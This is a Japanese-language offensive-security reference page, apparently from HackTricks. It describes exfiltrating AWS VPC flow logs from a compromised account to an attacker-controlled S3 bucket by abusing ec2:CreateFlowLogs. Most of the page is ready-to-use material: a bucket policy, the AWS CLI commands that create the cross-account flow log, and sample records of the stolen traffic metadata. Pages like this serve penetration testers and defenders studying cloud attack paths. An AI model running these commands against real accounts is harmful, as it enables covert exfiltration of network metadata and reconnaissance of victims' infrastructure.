# AWS - VPC Flow Logs Cross-Account Exfiltration to S3

{{#include ../../../../banners/hacktricks-training.md}}

## 概要
`ec2:CreateFlowLogs` を悪用して、VPC、subnet、または ENI の flow logs を攻撃者が管理する S3 バケットへ直接エクスポートします。delivery role が外部バケットへ書き込むように設定されると、監視対象リソースで検出されたすべての接続が被害者アカウントからストリーミングされます。

## 要件
- 被害者プリンシパル: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, および `iam:PassRole`（delivery role が必要/作成される場合）。
- 攻撃者側バケット: `delivery.logs.amazonaws.com` を信頼し、`s3:PutObject` と `bucket-owner-full-control` を許可する S3 ポリシー。
- オプション: S3 の代わりに CloudWatch にエクスポートする場合は `logs:DescribeLogGroups`（ここでは不要）。

## 攻撃手順

1) **攻撃者** は、VPC Flow Logs の配信サービスがオブジェクトを書き込めるようにする S3 バケットポリシー（攻撃者アカウント内）を用意します。適用する前にプレースホルダを置き換えてください:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}
```
攻撃者アカウントから適用:
```bash
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
```
2) **Victim** (compromised principal) が attacker bucket をターゲットにした flow logs を作成する:
```bash
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"
```
数分以内に、監視対象の VPC/subnet 内のすべての ENIs に対する接続を含む flow log files が attacker bucket に出現します。

## 証拠

attacker bucket に書き込まれた flow log records のサンプル:
```text
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
```
バケット一覧の証拠:
```bash
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
```
## 影響
- 監視対象の VPC/subnet/ENI に対する継続的な network metadata exfiltration (source/destination IPs, ports, protocols).
- traffic analysis、機密性の高いサービスの特定、および victim account の外部からの security group misconfigurations の潜在的な探索を可能にする。

{{#include ../../../../banners/hacktricks-training.md}}
